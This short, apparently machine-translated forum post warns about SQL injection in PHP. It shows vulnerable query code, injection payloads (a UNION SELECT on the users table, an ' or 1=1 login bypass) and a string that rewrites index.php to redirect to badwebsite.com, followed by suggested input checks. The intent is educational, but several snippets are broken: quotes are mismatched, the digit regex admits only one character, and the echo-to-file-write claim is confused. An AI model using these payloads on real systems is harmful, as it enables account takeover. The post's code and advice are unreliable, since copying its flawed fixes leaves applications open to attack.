これは本当に悪いです。変数を消去またはチェックせずに SQL ステートメントにプルすることは、pwnd を取得するための良い方法です。人々がコードに挿入できるものはいくつかあります。注意すべきもう 1 つのインジェクション メソッドである 1=1 は、常に true を返します。
$products = $this->db->get_rows('SELECT * from products WHERE shop_id='.$_SESSION['shop_id'].'AND tags,title,text LIKE \'%'.$_POST['search'].'%\'');
//This example expects no result from the table initially so we would blind attack the DB to pull the admin record.
$_POST['search'] = "-1\'; union all select * from users limit 1;";
誰かがデータベースの最上位アカウント (管理者など) を呼び出します。
$user_id = $this->db->get_rows('SELECT * from users WHERE email="'.$_POST['email'].'" and password="'.$_POST['password'].'"');
//This always returns true so now I'm the admin again
$_POST['password'] = "x\' or 1=1 limit 1";
また、画面に印刷する内容にも注意する必要があります。
$user_id = $this->db->get_rows('SELECT * from users WHERE email="'.$_POST['email'].'" and password="'.$_POST['password'].'"');
「$_POST['email'] のユーザー名が存在しません」というエコー メッセージは、別のものに置き換えることができます。
$_POST['email']=";
$fp = fopen('index.php', 'w');
fwrite($fp, \"header('Location: http://badwebsite.com;');\";
fclose($fp);";
index.php は、感染したページが存在する、またはサイト上の感染したページが存在する別の Web サイトにアクセスする可能性があります。
ID をチェックしている場合は、次のようにします。
if(preg_match('!^[0-9]$!',$_POST['id'])){
$id = $_POST['id'];
} else {
//flush
}
または可能なレコードの数を数えます... 1 つだけを期待していて、DB 内のすべてのレコードを取得する場合、それはインジェクションの試みです。
if(is_numeric($_POST['id'])){
$id = $_POST['id'];
$count = mysql_result(mysql_query("select count(*) from users where id='$id''),0);
}